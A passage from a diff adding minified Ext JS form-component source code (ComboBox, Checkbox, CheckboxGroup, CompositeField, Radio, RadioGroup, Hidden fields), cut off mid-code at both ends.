Ext.util.Format.htmlDecode(a) + } + return a +}, getValue:function () { + return this.getRawValue() +}, getName:function () { + return this.name +}, setRawValue:function (a) { + if (this.htmlEncode) { + a = Ext.util.Format.htmlEncode(a) + } + return this.rendered ? (this.el.dom.innerHTML = (Ext.isEmpty(a) ? "" : a)) : (this.value = a) +}, setValue:function (a) { + this.setRawValue(a); + return this +}}); +Ext.reg("displayfield", Ext.form.DisplayField); +Ext.form.ComboBox = Ext.extend(Ext.form.TriggerField, {defaultAutoCreate:{tag:"input", type:"text", size:"24", autocomplete:"off"}, listClass:"", selectedClass:"x-combo-selected", listEmptyText:"", triggerClass:"x-form-arrow-trigger", shadow:"sides", listAlign:"tl-bl?", maxHeight:300, minHeight:90, triggerAction:"query", minChars:4, autoSelect:true, typeAhead:false, queryDelay:500, pageSize:0, selectOnFocus:false, queryParam:"query", loadingText:"Loading...", resizable:false, handleHeight:8, allQuery:"", mode:"remote", minListWidth:70, forceSelection:false, typeAheadDelay:250, lazyInit:true, clearFilterOnReset:true, submitValue:undefined, initComponent:function () { + Ext.form.ComboBox.superclass.initComponent.call(this); + this.addEvents("expand", "collapse", "beforeselect", "select", "beforequery"); + if (this.transform) { + var c = Ext.getDom(this.transform); + if (!this.hiddenName) { + this.hiddenName = c.name + } + if (!this.store) { + this.mode = "local"; + var j = [], e = c.options; + for (var b = 0, a = e.length; b < a; b++) { + var h = e[b], g = (h.hasAttribute ? h.hasAttribute("value") : h.getAttributeNode("value").specified) ? h.value : h.text; + if (h.selected && Ext.isEmpty(this.value, true)) { + this.value = g + } + j.push([g, h.text]) + } + this.store = new Ext.data.ArrayStore({idIndex:0, fields:["value", "text"], data:j, autoDestroy:true}); + this.valueField = "value"; + this.displayField = "text" + } + c.name = Ext.id(); + if (!this.lazyRender) { + this.target = true; + this.el = Ext.DomHelper.insertBefore(c, this.autoCreate || this.defaultAutoCreate); + this.render(this.el.parentNode, c) + } + Ext.removeNode(c) + } else { + if (this.store) { + this.store = Ext.StoreMgr.lookup(this.store); + if (this.store.autoCreated) { + this.displayField = this.valueField = "field1"; + if (!this.store.expandData) { + this.displayField = "field2" + } + this.mode = "local" + } + } + } + this.selectedIndex = -1; + if (this.mode == "local") { + if (!Ext.isDefined(this.initialConfig.queryDelay)) { + this.queryDelay = 10 + } + if (!Ext.isDefined(this.initialConfig.minChars)) { + this.minChars = 0 + } + } +}, onRender:function (b, a) { + if (this.hiddenName && !Ext.isDefined(this.submitValue)) { + this.submitValue = false + } + Ext.form.ComboBox.superclass.onRender.call(this, b, a); + if (this.hiddenName) { + this.hiddenField = this.el.insertSibling({tag:"input", type:"hidden", name:this.hiddenName, id:(this.hiddenId || Ext.id())}, "before", true) + } + if (Ext.isGecko) { + this.el.dom.setAttribute("autocomplete", "off") + } + if (!this.lazyInit) { + this.initList() + } else { + this.on("focus", this.initList, this, {single:true}) + } +}, initValue:function () { + Ext.form.ComboBox.superclass.initValue.call(this); + if (this.hiddenField) { + this.hiddenField.value = Ext.value(Ext.isDefined(this.hiddenValue) ? this.hiddenValue : this.value, "") + } +}, getParentZIndex:function () { + var a; + if (this.ownerCt) { + this.findParentBy(function (b) { + a = parseInt(b.getPositionEl().getStyle("z-index"), 10); + return !!a + }) + } + return a +}, getZIndex:function (b) { + b = b || Ext.getDom(this.getListParent() || Ext.getBody()); + var a = parseInt(Ext.fly(b).getStyle("z-index"), 10); + if (!a) { + a = this.getParentZIndex() + } + return(a || 12000) + 5 +}, initList:function () { + if (!this.list) { + var a = "x-combo-list", c = Ext.getDom(this.getListParent() || Ext.getBody()); + this.list = new Ext.Layer({parentEl:c, shadow:this.shadow, cls:[a, this.listClass].join(" "), constrain:false, zindex:this.getZIndex(c)}); + var b = this.listWidth || Math.max(this.wrap.getWidth(), this.minListWidth); + this.list.setSize(b, 0); + this.list.swallowEvent("mousewheel"); + this.assetHeight = 0; + if (this.syncFont !== false) { + this.list.setStyle("font-size", this.el.getStyle("font-size")) + } + if (this.title) { + this.header = this.list.createChild({cls:a + "-hd", html:this.title}); + this.assetHeight += this.header.getHeight() + } + this.innerList = this.list.createChild({cls:a + "-inner"}); + this.mon(this.innerList, "mouseover", this.onViewOver, this); + this.mon(this.innerList, "mousemove", this.onViewMove, this); + this.innerList.setWidth(b - this.list.getFrameWidth("lr")); + if (this.pageSize) { + this.footer = this.list.createChild({cls:a + "-ft"}); + this.pageTb = new Ext.PagingToolbar({store:this.store, pageSize:this.pageSize, renderTo:this.footer}); + this.assetHeight += this.footer.getHeight() + } + if (!this.tpl) { + this.tpl = '
    {' + this.displayField + "}
    " + } + this.view = new Ext.DataView({applyTo:this.innerList, tpl:this.tpl, singleSelect:true, selectedClass:this.selectedClass, itemSelector:this.itemSelector || "." + a + "-item", emptyText:this.listEmptyText, deferEmptyText:false}); + this.mon(this.view, {containerclick:this.onViewClick, click:this.onViewClick, scope:this}); + this.bindStore(this.store, true); + if (this.resizable) { + this.resizer = new Ext.Resizable(this.list, {pinned:true, handles:"se"}); + this.mon(this.resizer, "resize", function (g, d, e) { + this.maxHeight = e - this.handleHeight - this.list.getFrameWidth("tb") - this.assetHeight; + this.listWidth = d; + this.innerList.setWidth(d - this.list.getFrameWidth("lr")); + this.restrictHeight() + }, this); + this[this.pageSize ? "footer" : "innerList"].setStyle("margin-bottom", this.handleHeight + "px") + } + } +}, getListParent:function () { + return document.body +}, getStore:function () { + return this.store +}, bindStore:function (a, b) { + if (this.store && !b) { + if (this.store !== a && this.store.autoDestroy) { + this.store.destroy() + } else { + this.store.un("beforeload", this.onBeforeLoad, this); + this.store.un("load", this.onLoad, this); + this.store.un("exception", this.collapse, this) + } + if (!a) { + this.store = null; + if (this.view) { + this.view.bindStore(null) + } + if (this.pageTb) { + this.pageTb.bindStore(null) + } + } + } + if (a) { + if (!b) { + this.lastQuery = null; + if (this.pageTb) { + this.pageTb.bindStore(a) + } + } + this.store = Ext.StoreMgr.lookup(a); + this.store.on({scope:this, beforeload:this.onBeforeLoad, load:this.onLoad, exception:this.collapse}); + if (this.view) { + this.view.bindStore(a) + } + } +}, reset:function () { + if (this.clearFilterOnReset && this.mode == "local") { + this.store.clearFilter() + } + Ext.form.ComboBox.superclass.reset.call(this) +}, initEvents:function () { + Ext.form.ComboBox.superclass.initEvents.call(this); + this.keyNav = new Ext.KeyNav(this.el, {up:function (a) { + this.inKeyMode = true; + this.selectPrev() + }, down:function (a) { + if (!this.isExpanded()) { + this.onTriggerClick() + } else { + this.inKeyMode = true; + this.selectNext() + } + }, enter:function (a) { + this.onViewClick() + }, esc:function (a) { + this.collapse() + }, tab:function (a) { + if (this.forceSelection === true) { + this.collapse() + } else { + this.onViewClick(false) + } + return true + }, scope:this, doRelay:function (c, b, a) { + if (a == "down" || this.scope.isExpanded()) { + var d = Ext.KeyNav.prototype.doRelay.apply(this, arguments); + if (!Ext.isIE && Ext.EventManager.useKeydown) { + this.scope.fireKey(c) + } + return d + } + return true + }, forceKeyDown:true, defaultEventAction:"stopEvent"}); + this.queryDelay = Math.max(this.queryDelay || 10, this.mode == "local" ? 10 : 250); + this.dqTask = new Ext.util.DelayedTask(this.initQuery, this); + if (this.typeAhead) { + this.taTask = new Ext.util.DelayedTask(this.onTypeAhead, this) + } + if (!this.enableKeyEvents) { + this.mon(this.el, "keyup", this.onKeyUp, this) + } +}, onDestroy:function () { + if (this.dqTask) { + this.dqTask.cancel(); + this.dqTask = null + } + this.bindStore(null); + Ext.destroy(this.resizer, this.view, this.pageTb, this.list); + Ext.destroyMembers(this, "hiddenField"); + Ext.form.ComboBox.superclass.onDestroy.call(this) +}, fireKey:function (a) { + if (!this.isExpanded()) { + Ext.form.ComboBox.superclass.fireKey.call(this, a) + } +}, onResize:function (a, b) { + Ext.form.ComboBox.superclass.onResize.apply(this, arguments); + if (!isNaN(a) && this.isVisible() && this.list) { + this.doResize(a) + } else { + this.bufferSize = a + } +}, doResize:function (a) { + if (!Ext.isDefined(this.listWidth)) { + var b = Math.max(a, this.minListWidth); + this.list.setWidth(b); + this.innerList.setWidth(b - this.list.getFrameWidth("lr")) + } +}, onEnable:function () { + Ext.form.ComboBox.superclass.onEnable.apply(this, arguments); + if (this.hiddenField) { + this.hiddenField.disabled = false + } +}, onDisable:function () { + Ext.form.ComboBox.superclass.onDisable.apply(this, arguments); + if (this.hiddenField) { + this.hiddenField.disabled = true + } +}, onBeforeLoad:function () { + if (!this.hasFocus) { + return + } + this.innerList.update(this.loadingText ? '
    ' + this.loadingText + "
    " : ""); + this.restrictHeight(); + this.selectedIndex = -1 +}, onLoad:function () { + if (!this.hasFocus) { + return + } + if (this.store.getCount() > 0 || this.listEmptyText) { + this.expand(); + this.restrictHeight(); + if (this.lastQuery == this.allQuery) { + if (this.editable) { + this.el.dom.select() + } + if (this.autoSelect !== false && !this.selectByValue(this.value, true)) { + this.select(0, true) + } + } else { + if (this.autoSelect !== false) { + this.selectNext() + } + if (this.typeAhead && this.lastKey != Ext.EventObject.BACKSPACE && this.lastKey != Ext.EventObject.DELETE) { + this.taTask.delay(this.typeAheadDelay) + } + } + } else { + this.collapse() + } +}, onTypeAhead:function () { + if (this.store.getCount() > 0) { + var b = this.store.getAt(0); + var c = b.data[this.displayField]; + var a = c.length; + var d = this.getRawValue().length; + if (d != a) { + this.setRawValue(c); + this.selectText(d, c.length) + } + } +}, assertValue:function () { + var b = this.getRawValue(), a; + if (this.valueField && Ext.isDefined(this.value)) { + a = this.findRecord(this.valueField, this.value) + } + if (!a || a.get(this.displayField) != b) { + a = this.findRecord(this.displayField, b) + } + if (!a && this.forceSelection) { + if (b.length > 0 && b != this.emptyText) { + this.el.dom.value = Ext.value(this.lastSelectionText, ""); + this.applyEmptyText() + } else { + this.clearValue() + } + } else { + if (a && this.valueField) { + if (this.value == b) { + return + } + b = a.get(this.valueField || this.displayField) + } + this.setValue(b) + } +}, onSelect:function (a, b) { + if (this.fireEvent("beforeselect", this, a, b) !== false) { + this.setValue(a.data[this.valueField || this.displayField]); + this.collapse(); + this.fireEvent("select", this, a, b) + } +}, getName:function () { + var a = this.hiddenField; + return a && a.name ? a.name : this.hiddenName || Ext.form.ComboBox.superclass.getName.call(this) +}, getValue:function () { + if (this.valueField) { + return Ext.isDefined(this.value) ? this.value : "" + } else { + return Ext.form.ComboBox.superclass.getValue.call(this) + } +}, clearValue:function () { + if (this.hiddenField) { + this.hiddenField.value = "" + } + this.setRawValue(""); + this.lastSelectionText = ""; + this.applyEmptyText(); + this.value = "" +}, setValue:function (a) { + var c = a; + if (this.valueField) { + var b = this.findRecord(this.valueField, a); + if (b) { + c = b.data[this.displayField] + } else { + if (Ext.isDefined(this.valueNotFoundText)) { + c = this.valueNotFoundText + } + } + } + this.lastSelectionText = c; + if (this.hiddenField) { + this.hiddenField.value = Ext.value(a, "") + } + Ext.form.ComboBox.superclass.setValue.call(this, c); + this.value = a; + return this +}, findRecord:function (c, b) { + var a; + if (this.store.getCount() > 0) { + this.store.each(function (d) { + if (d.data[c] == b) { + a = d; + return false + } + }) + } + return a +}, onViewMove:function (b, a) { + this.inKeyMode = false +}, onViewOver:function (d, b) { + if (this.inKeyMode) { + return + } + var c = this.view.findItemFromChild(b); + if (c) { + var a = this.view.indexOf(c); + this.select(a, false) + } +}, onViewClick:function (b) { + var a = this.view.getSelectedIndexes()[0], c = this.store, d = c.getAt(a); + if (d) { + this.onSelect(d, a) + } else { + this.collapse() + } + if (b !== false) { + this.el.focus() + } +}, restrictHeight:function () { + this.innerList.dom.style.height = ""; + var b = this.innerList.dom, e = this.list.getFrameWidth("tb") + (this.resizable ? this.handleHeight : 0) + this.assetHeight, c = Math.max(b.clientHeight, b.offsetHeight, b.scrollHeight), a = this.getPosition()[1] - Ext.getBody().getScroll().top, g = Ext.lib.Dom.getViewHeight() - a - this.getSize().height, d = Math.max(a, g, this.minHeight || 0) - this.list.shadowOffset - e - 5; + c = Math.min(c, d, this.maxHeight); + this.innerList.setHeight(c); + this.list.beginUpdate(); + this.list.setHeight(c + e); + this.list.alignTo.apply(this.list, [this.el].concat(this.listAlign)); + this.list.endUpdate() +}, isExpanded:function () { + return this.list && this.list.isVisible() +}, selectByValue:function (a, c) { + if (!Ext.isEmpty(a, true)) { + var b = this.findRecord(this.valueField || this.displayField, a); + if (b) { + this.select(this.store.indexOf(b), c); + return true + } + } + return false +}, select:function (a, c) { + this.selectedIndex = a; + this.view.select(a); + if (c !== false) { + var b = this.view.getNode(a); + if (b) { + this.innerList.scrollChildIntoView(b, false) + } + } +}, selectNext:function () { + var a = this.store.getCount(); + if (a > 0) { + if (this.selectedIndex == -1) { + this.select(0) + } else { + if (this.selectedIndex < a - 1) { + this.select(this.selectedIndex + 1) + } + } + } +}, selectPrev:function () { + var a = this.store.getCount(); + if (a > 0) { + if (this.selectedIndex == -1) { + this.select(0) + } else { + if (this.selectedIndex !== 0) { + this.select(this.selectedIndex - 1) + } + } + } +}, onKeyUp:function (b) { + var a = b.getKey(); + if (this.editable !== false && this.readOnly !== true && (a == b.BACKSPACE || !b.isSpecialKey())) { + this.lastKey = a; + this.dqTask.delay(this.queryDelay) + } + Ext.form.ComboBox.superclass.onKeyUp.call(this, b) +}, validateBlur:function () { + return !this.list || !this.list.isVisible() +}, initQuery:function () { + this.doQuery(this.getRawValue()) +}, beforeBlur:function () { + this.assertValue() +}, postBlur:function () { + Ext.form.ComboBox.superclass.postBlur.call(this); + this.collapse(); + this.inKeyMode = false +}, doQuery:function (c, b) { + c = Ext.isEmpty(c) ? "" : c; + var a = {query:c, forceAll:b, combo:this, cancel:false}; + if (this.fireEvent("beforequery", a) === false || a.cancel) { + return false + } + c = a.query; + b = a.forceAll; + if (b === true || (c.length >= this.minChars)) { + if (this.lastQuery !== c) { + this.lastQuery = c; + if (this.mode == "local") { + this.selectedIndex = -1; + if (b) { + this.store.clearFilter() + } else { + this.store.filter(this.displayField, c) + } + this.onLoad() + } else { + this.store.baseParams[this.queryParam] = c; + this.store.load({params:this.getParams(c)}); + this.expand() + } + } else { + this.selectedIndex = -1; + this.onLoad() + } + } +}, getParams:function (a) { + var b = {}, c = this.store.paramNames; + if (this.pageSize) { + b[c.start] = 0; + b[c.limit] = this.pageSize + } + return b +}, collapse:function () { + if (!this.isExpanded()) { + return + } + this.list.hide(); + Ext.getDoc().un("mousewheel", this.collapseIf, this); + Ext.getDoc().un("mousedown", this.collapseIf, this); + this.fireEvent("collapse", this) +}, collapseIf:function (a) { + if (!this.isDestroyed && !a.within(this.wrap) && !a.within(this.list)) { + this.collapse() + } +}, expand:function () { + if (this.isExpanded() || !this.hasFocus) { + return + } + if (this.title || this.pageSize) { + this.assetHeight = 0; + if (this.title) { + this.assetHeight += this.header.getHeight() + } + if (this.pageSize) { + this.assetHeight += this.footer.getHeight() + } + } + if (this.bufferSize) { + this.doResize(this.bufferSize); + delete this.bufferSize + } + this.list.alignTo.apply(this.list, [this.el].concat(this.listAlign)); + this.list.setZIndex(this.getZIndex()); + this.list.show(); + if (Ext.isGecko2) { + this.innerList.setOverflow("auto") + } + this.mon(Ext.getDoc(), {scope:this, mousewheel:this.collapseIf, mousedown:this.collapseIf}); + this.fireEvent("expand", this) +}, onTriggerClick:function () { + if (this.readOnly || this.disabled) { + return + } + if (this.isExpanded()) { + this.collapse(); + this.el.focus() + } else { + this.onFocus({}); + if (this.triggerAction == "all") { + this.doQuery(this.allQuery, true) + } else { + this.doQuery(this.getRawValue()) + } + this.el.focus() + } +}}); +Ext.reg("combo", Ext.form.ComboBox); +Ext.form.Checkbox = Ext.extend(Ext.form.Field, {focusClass:undefined, fieldClass:"x-form-field", checked:false, boxLabel:" ", defaultAutoCreate:{tag:"input", type:"checkbox", autocomplete:"off"}, actionMode:"wrap", initComponent:function () { + Ext.form.Checkbox.superclass.initComponent.call(this); + this.addEvents("check") +}, onResize:function () { + Ext.form.Checkbox.superclass.onResize.apply(this, arguments); + if (!this.boxLabel && !this.fieldLabel) { + this.el.alignTo(this.wrap, "c-c") + } +}, initEvents:function () { + Ext.form.Checkbox.superclass.initEvents.call(this); + this.mon(this.el, {scope:this, click:this.onClick, change:this.onClick}) +}, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, onRender:function (b, a) { + Ext.form.Checkbox.superclass.onRender.call(this, b, a); + if (this.inputValue !== undefined) { + this.el.dom.value = this.inputValue + } + this.wrap = this.el.wrap({cls:"x-form-check-wrap"}); + if (this.boxLabel) { + this.wrap.createChild({tag:"label", htmlFor:this.el.id, cls:"x-form-cb-label", html:this.boxLabel}) + } + if (this.checked) { + this.setValue(true) + } else { + this.checked = this.el.dom.checked + } + if (Ext.isIE && !Ext.isStrict) { + this.wrap.repaint() + } + this.resizeEl = this.positionEl = this.wrap +}, onDestroy:function () { + Ext.destroy(this.wrap); + Ext.form.Checkbox.superclass.onDestroy.call(this) +}, initValue:function () { + this.originalValue = this.getValue() +}, getValue:function () { + if (this.rendered) { + return this.el.dom.checked + } + return this.checked +}, onClick:function () { + if (this.el.dom.checked != this.checked) { + this.setValue(this.el.dom.checked) + } +}, setValue:function (a) { + var c = this.checked, b = this.inputValue; + if (a === false) { + this.checked = false + } else { + this.checked = (a === true || a === "true" || a == "1" || (b ? a == b : String(a).toLowerCase() == "on")) + } + if (this.rendered) { + this.el.dom.checked = this.checked; + this.el.dom.defaultChecked = this.checked + } + if (c != this.checked) { + this.fireEvent("check", this, this.checked); + if (this.handler) { + this.handler.call(this.scope || this, this, this.checked) + } + } + return this +}}); +Ext.reg("checkbox", Ext.form.Checkbox); +Ext.form.CheckboxGroup = Ext.extend(Ext.form.Field, {columns:"auto", vertical:false, allowBlank:true, blankText:"You must select at least one item in this group", defaultType:"checkbox", groupCls:"x-form-check-group", initComponent:function () { + this.addEvents("change"); + this.on("change", this.validate, this); + Ext.form.CheckboxGroup.superclass.initComponent.call(this) +}, onRender:function (j, g) { + if (!this.el) { + var p = {autoEl:{id:this.id}, cls:this.groupCls, layout:"column", renderTo:j, bufferResize:false}; + var a = {xtype:"container", defaultType:this.defaultType, layout:"form", defaults:{hideLabel:true, anchor:"100%"}}; + if (this.items[0].items) { + Ext.apply(p, {layoutConfig:{columns:this.items.length}, defaults:this.defaults, items:this.items}); + for (var e = 0, m = this.items.length; e < m; e++) { + Ext.applyIf(this.items[e], a) + } + } else { + var d, n = []; + if (typeof this.columns == "string") { + this.columns = this.items.length + } + if (!Ext.isArray(this.columns)) { + var k = []; + for (var e = 0; e < this.columns; e++) { + k.push((100 / this.columns) * 0.01) + } + this.columns = k + } + d = this.columns.length; + for (var e = 0; e < d; e++) { + var b = Ext.apply({items:[]}, a); + b[this.columns[e] <= 1 ? "columnWidth" : "width"] = this.columns[e]; + if (this.defaults) { + b.defaults = Ext.apply(b.defaults || {}, this.defaults) + } + n.push(b) + } + if (this.vertical) { + var r = Math.ceil(this.items.length / d), o = 0; + for (var e = 0, m = this.items.length; e < m; e++) { + if (e > 0 && e % r == 0) { + o++ + } + if (this.items[e].fieldLabel) { + this.items[e].hideLabel = false + } + n[o].items.push(this.items[e]) + } + } else { + for (var e = 0, m = this.items.length; e < m; e++) { + var q = e % d; + if (this.items[e].fieldLabel) { + this.items[e].hideLabel = false + } + n[q].items.push(this.items[e]) + } + } + Ext.apply(p, {layoutConfig:{columns:d}, items:n}) + } + this.panel = new Ext.Container(p); + this.panel.ownerCt = this; + this.el = this.panel.getEl(); + if (this.forId && this.itemCls) { + var c = this.el.up(this.itemCls).child("label", true); + if (c) { + c.setAttribute("htmlFor", this.forId) + } + } + var h = this.panel.findBy(function (i) { + return i.isFormField + }, this); + this.items = new Ext.util.MixedCollection(); + this.items.addAll(h) + } + Ext.form.CheckboxGroup.superclass.onRender.call(this, j, g) +}, initValue:function () { + if (this.value) { + this.setValue.apply(this, this.buffered ? this.value : [this.value]); + delete this.buffered; + delete this.value + } +}, afterRender:function () { + Ext.form.CheckboxGroup.superclass.afterRender.call(this); + this.eachItem(function (a) { + a.on("check", this.fireChecked, this); + a.inGroup = true + }) +}, doLayout:function () { + if (this.rendered) { + this.panel.forceLayout = this.ownerCt.forceLayout; + this.panel.doLayout() + } +}, fireChecked:function () { + var a = []; + this.eachItem(function (b) { + if (b.checked) { + a.push(b) + } + }); + this.fireEvent("change", this, a) +}, getErrors:function () { + var b = Ext.form.CheckboxGroup.superclass.getErrors.apply(this, arguments); + if (!this.allowBlank) { + var a = true; + this.eachItem(function (c) { + if (c.checked) { + return(a = false) + } + }); + if (a) { + b.push(this.blankText) + } + } + return b +}, isDirty:function () { + if (this.disabled || !this.rendered) { + return false + } + var a = false; + this.eachItem(function (b) { + if (b.isDirty()) { + a = true; + return false + } + }); + return a +}, setReadOnly:function (a) { + if (this.rendered) { + this.eachItem(function (b) { + b.setReadOnly(a) + }) + } + this.readOnly = a +}, onDisable:function () { + this.eachItem(function (a) { + a.disable() + }) +}, onEnable:function () { + this.eachItem(function (a) { + a.enable() + }) +}, onResize:function (a, b) { + this.panel.setSize(a, b); + this.panel.doLayout() +}, reset:function () { + if (this.originalValue) { + this.eachItem(function (a) { + if (a.setValue) { + a.setValue(false); + a.originalValue = a.getValue() + } + }); + this.resetOriginal = true; + this.setValue(this.originalValue); + delete this.resetOriginal + } else { + this.eachItem(function (a) { + if (a.reset) { + a.reset() + } + }) + } + (function () { + this.clearInvalid() + }).defer(50, this) +}, setValue:function () { + if (this.rendered) { + this.onSetValue.apply(this, arguments) + } else { + this.buffered = true; + this.value = arguments + } + return this +}, onSetValue:function (d, c) { + if (arguments.length == 1) { + if (Ext.isArray(d)) { + Ext.each(d, function (h, e) { + if (Ext.isObject(h) && h.setValue) { + h.setValue(true); + if (this.resetOriginal === true) { + h.originalValue = h.getValue() + } + } else { + var g = this.items.itemAt(e); + if (g) { + g.setValue(h) + } + } + }, this) + } else { + if (Ext.isObject(d)) { + for (var a in d) { + var b = this.getBox(a); + if (b) { + b.setValue(d[a]) + } + } + } else { + this.setValueForItem(d) + } + } + } else { + var b = this.getBox(d); + if (b) { + b.setValue(c) + } + } +}, beforeDestroy:function () { + Ext.destroy(this.panel); + if (!this.rendered) { + Ext.destroy(this.items) + } + Ext.form.CheckboxGroup.superclass.beforeDestroy.call(this) +}, setValueForItem:function (a) { + a = String(a).split(","); + this.eachItem(function (b) { + if (a.indexOf(b.inputValue) > -1) { + b.setValue(true) + } + }) +}, getBox:function (b) { + var a = null; + this.eachItem(function (c) { + if (b == c || c.dataIndex == b || c.id == b || c.getName() == b) { + a = c; + return false + } + }); + return a +}, getValue:function () { + var a = []; + this.eachItem(function (b) { + if (b.checked) { + a.push(b) + } + }); + return a +}, eachItem:function (b, a) { + if (this.items && this.items.each) { + this.items.each(b, a || this) + } +}, getRawValue:Ext.emptyFn, setRawValue:Ext.emptyFn}); +Ext.reg("checkboxgroup", Ext.form.CheckboxGroup); +Ext.form.CompositeField = Ext.extend(Ext.form.Field, {defaultMargins:"0 5 0 0", skipLastItemMargin:true, isComposite:true, combineErrors:true, labelConnector:", ", initComponent:function () { + var g = [], b = this.items, e; + for (var d = 0, c = b.length; d < c; d++) { + e = b[d]; + if (!Ext.isEmpty(e.ref)) { + e.ref = "../" + e.ref + } + g.push(e.fieldLabel); + Ext.applyIf(e, this.defaults); + if (!(d == c - 1 && this.skipLastItemMargin)) { + Ext.applyIf(e, {margins:this.defaultMargins}) + } + } + this.fieldLabel = this.fieldLabel || this.buildLabel(g); + this.fieldErrors = new Ext.util.MixedCollection(true, function (h) { + return h.field + }); + this.fieldErrors.on({scope:this, add:this.updateInvalidMark, remove:this.updateInvalidMark, replace:this.updateInvalidMark}); + Ext.form.CompositeField.superclass.initComponent.apply(this, arguments); + this.innerCt = new Ext.Container({layout:"hbox", items:this.items, cls:"x-form-composite", defaultMargins:"0 3 0 0", ownerCt:this}); + this.innerCt.ownerCt = undefined; + var a = this.innerCt.findBy(function (h) { + return h.isFormField + }, this); + this.items = new Ext.util.MixedCollection(); + this.items.addAll(a) +}, onRender:function (c, a) { + if (!this.el) { + var d = this.innerCt; + d.render(c); + this.el = d.getEl(); + if (this.combineErrors) { + this.eachItem(function (e) { + Ext.apply(e, {markInvalid:this.onFieldMarkInvalid.createDelegate(this, [e], 0), clearInvalid:this.onFieldClearInvalid.createDelegate(this, [e], 0)}) + }) + } + var b = this.el.parent().parent().child("label", true); + if (b) { + b.setAttribute("for", this.items.items[0].id) + } + } + Ext.form.CompositeField.superclass.onRender.apply(this, arguments) +}, onFieldMarkInvalid:function (d, c) { + var b = d.getName(), a = {field:b, errorName:d.fieldLabel || b, error:c}; + this.fieldErrors.replace(b, a); + if (!d.preventMark) { + d.el.addClass(d.invalidClass) + } +}, onFieldClearInvalid:function (a) { + this.fieldErrors.removeKey(a.getName()); + a.el.removeClass(a.invalidClass) +}, updateInvalidMark:function () { + var a = Ext.isIE6 && Ext.isStrict; + if (this.fieldErrors.length == 0) { + this.clearInvalid(); + if (a) { + this.clearInvalid.defer(50, this) + } + } else { + var b = this.buildCombinedErrorMessage(this.fieldErrors.items); + this.sortErrors(); + this.markInvalid(b); + if (a) { + this.markInvalid(b) + } + } +}, validateValue:function (c, a) { + var b = true; + this.eachItem(function (d) { + if (!d.isValid(a)) { + b = false + } + }); + return b +}, buildCombinedErrorMessage:function (e) { + var d = [], b; + for (var c = 0, a = e.length; c < a; c++) { + b = e[c]; + d.push(String.format("{0}: {1}", b.errorName, b.error)) + } + return d.join("
    ") +}, sortErrors:function () { + var a = this.items; + this.fieldErrors.sort("ASC", function (g, d) { + var c = function (b) { + return function (i) { + return i.getName() == b + } + }; + var h = a.findIndexBy(c(g.field)), e = a.findIndexBy(c(d.field)); + return h < e ? -1 : 1 + }) +}, reset:function () { + this.eachItem(function (a) { + a.reset() + }); + (function () { + this.clearInvalid() + }).defer(50, this) +}, clearInvalidChildren:function () { + this.eachItem(function (a) { + a.clearInvalid() + }) +}, buildLabel:function (a) { + return Ext.clean(a).join(this.labelConnector) +}, isDirty:function () { + if (this.disabled || !this.rendered) { + return false + } + var a = false; + this.eachItem(function (b) { + if (b.isDirty()) { + a = true; + return false + } + }); + return a +}, eachItem:function (b, a) { + if (this.items && this.items.each) { + this.items.each(b, a || this) + } +}, onResize:function (e, c, a, d) { + var b = this.innerCt; + if (this.rendered && b.rendered) { + b.setSize(e, c) + } + Ext.form.CompositeField.superclass.onResize.apply(this, arguments) +}, doLayout:function (c, b) { + if (this.rendered) { + var a = this.innerCt; + a.forceLayout = this.ownerCt.forceLayout; + a.doLayout(c, b) + } +}, beforeDestroy:function () { + Ext.destroy(this.innerCt); + Ext.form.CompositeField.superclass.beforeDestroy.call(this) +}, setReadOnly:function (a) { + if (a == undefined) { + a = true + } + a = !!a; + if (this.rendered) { + this.eachItem(function (b) { + b.setReadOnly(a) + }) + } + this.readOnly = a +}, onShow:function () { + Ext.form.CompositeField.superclass.onShow.call(this); + this.doLayout() +}, onDisable:function () { + this.eachItem(function (a) { + a.disable() + }) +}, onEnable:function () { + this.eachItem(function (a) { + a.enable() + }) +}}); +Ext.reg("compositefield", Ext.form.CompositeField); +Ext.form.Radio = Ext.extend(Ext.form.Checkbox, {inputType:"radio", markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn, getGroupValue:function () { + var a = this.el.up("form") || Ext.getBody(); + var b = a.child('input[name="' + this.el.dom.name + '"]:checked', true); + return b ? b.value : null +}, setValue:function (b) { + var a, d, c; + if (typeof b == "boolean") { + Ext.form.Radio.superclass.setValue.call(this, b) + } else { + if (this.rendered) { + a = this.getCheckEl(); + c = a.child('input[name="' + this.el.dom.name + '"][value="' + b + '"]', true); + if (c) { + Ext.getCmp(c.id).setValue(true) + } + } + } + if (this.rendered && this.checked) { + a = a || this.getCheckEl(); + d = this.getCheckEl().select('input[name="' + this.el.dom.name + '"]'); + d.each(function (e) { + if (e.dom.id != this.id) { + Ext.getCmp(e.dom.id).setValue(false) + } + }, this) + } + return this +}, getCheckEl:function () { + if (this.inGroup) { + return this.el.up(".x-form-radio-group") + } + return this.el.up("form") || Ext.getBody() +}}); +Ext.reg("radio", Ext.form.Radio); +Ext.form.RadioGroup = Ext.extend(Ext.form.CheckboxGroup, {allowBlank:true, blankText:"You must select one item in this group", defaultType:"radio", groupCls:"x-form-radio-group", getValue:function () { + var a = null; + this.eachItem(function (b) { + if (b.checked) { + a = b; + return false + } + }); + return a +}, onSetValue:function (c, b) { + if (arguments.length > 1) { + var a = this.getBox(c); + if (a) { + a.setValue(b); + if (a.checked) { + this.eachItem(function (d) { + if (d !== a) { + d.setValue(false) + } + }) + } + } + } else { + this.setValueForItem(c) + } +}, setValueForItem:function (a) { + a = String(a).split(",")[0]; + this.eachItem(function (b) { + b.setValue(a == b.inputValue) + }) +}, fireChecked:function () { + if (!this.checkTask) { + this.checkTask = new Ext.util.DelayedTask(this.bufferChecked, this) + } + this.checkTask.delay(10) +}, bufferChecked:function () { + var a = null; + this.eachItem(function (b) { + if (b.checked) { + a = b; + return false + } + }); + this.fireEvent("change", this, a) +}, onDestroy:function () { + if (this.checkTask) { + this.checkTask.cancel(); + this.checkTask = null + } + Ext.form.RadioGroup.superclass.onDestroy.call(this) +}}); +Ext.reg("radiogroup", Ext.form.RadioGroup); +Ext.form.Hidden = Ext.extend(Ext.form.Field, {inputType:"hidden", shouldLayout:false, onRender:function () { + Ext.form.Hidden.superclass.onRender.apply(this, arguments) +}, initEvents:function () { + this.originalValue = this.getValue() +}, setSize:Ext.emptyFn, setWidth:Ext.emptyFn, setHeight:Ext.emptyFn, setPosition:Ext.emptyFn, setPagePosition:Ext.emptyFn, markInvalid:Ext.emptyFn, clearInvalid:Ext.emptyFn}); +Ext.reg("hidden", Ext.form.Hidden); +Ext.form.BasicForm = 